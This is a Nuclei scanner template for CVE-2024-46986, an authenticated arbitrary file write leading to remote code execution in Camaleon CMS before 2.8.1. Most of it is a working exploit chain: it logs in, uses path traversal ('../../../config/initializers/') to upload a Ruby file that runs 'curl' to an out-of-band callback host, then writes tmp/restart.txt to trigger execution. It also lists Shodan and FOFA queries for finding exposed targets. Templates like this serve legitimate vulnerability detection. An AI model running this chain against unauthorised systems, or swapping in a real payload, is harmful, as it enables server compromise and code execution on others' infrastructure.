id: CVE-2024-46986

info:
  name: Camaleon CMS < 2.8.1 Arbitrary File Write to RCE
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application
  impact: |
    Authenticated attackers can write arbitrary files to any location on the web server, potentially achieving remote code execution.
  remediation: |
    Update Camaleon CMS to version 2.8.1 or later.
  reference:
    - https://github.com/advisories/GHSA-wmjg-vqhv-q5p5
    - https://codeql.github.com/codeql-query-help/ruby/rb-path-injection
    - https://owasp.org/www-community/attacks/Path_Traversal
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2024-46986
    cwe-id: CWE-22,CWE-74
    epss-score: 0.35658
    epss-percentile: 0.98253
    cpe: cpe:2.3:a:tuzitio:camaleon_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    verified: true
    vendor: tuzitio
    product: camaleon_cms
    shodan-query: title:"Camaleon CMS"
    fofa-query: title="Camaleon CMS"
  tags: cve,cve2024,camaleon,intrusive,rce,file-upload,authenticated,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  filename: "{{to_lower(rand_text_alpha(12))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /admin/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - 'name="authenticity_token" value="(.*?)"'

  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: keep-alive

        authenticity_token={{nonce}}&user%5Busername%5D={{username}}&user%5Bpassword%5D={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(location,"/admin/dashboard")'
        internal: true

  - raw:
      - |
        POST /admin/media/upload?actions=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;boundary=----WebKitFormBoundarynJs8ffRP2MgQXiF8

        ------WebKitFormBoundarynJs8ffRP2MgQXiF8
        Content-Disposition: form-data; name="file_upload"; filename="{{filename}}.rb"
        Content-Type: text/x-ruby-script

        `curl {{interactsh-url}}`
        ------WebKitFormBoundarynJs8ffRP2MgQXiF8
        Content-Disposition: form-data; name="folder"

        ../../../config/initializers/
        ------WebKitFormBoundarynJs8ffRP2MgQXiF8
        Content-Disposition: form-data; name="skip_auto_crop"

        true
        ------WebKitFormBoundarynJs8ffRP2MgQXiF8--

    matchers:
      - type: word
        part: body
        words:
          - '{"name":"{{filename}}.rb","folder_path":"../../../config/initializers"'
        internal: true

  - raw:
      - |
        POST /admin/media/upload?actions=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;boundary=----WebKitFormBoundarynJs8ffRP2MgQXiF8

        ------WebKitFormBoundarynJs8ffRP2MgQXiF8
        Content-Disposition: form-data; name="file_upload"; filename="restart.txt"
        Content-Type: text/x-ruby-script

        {{randstr}}
        ------WebKitFormBoundarynJs8ffRP2MgQXiF8
        Content-Disposition: form-data; name="folder"

        ../../../tmp/
        ------WebKitFormBoundarynJs8ffRP2MgQXiF8
        Content-Disposition: form-data; name="skip_auto_crop"

        true
        ------WebKitFormBoundarynJs8ffRP2MgQXiF8--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: word
        part: body
        words:
          - '{"name":"restart.txt","folder_path":"../../../tmp"'
# digest: 490a004630440220653653afdc9888cf2d9d7933504c494c7e6d4dc141dbe1467c0523b424f7831c02204869b85aa3dc9b030070f5c37917233f987c165de1c3a71e9c99433f03d78e83:922c64590222798bb761d5b6d8e72950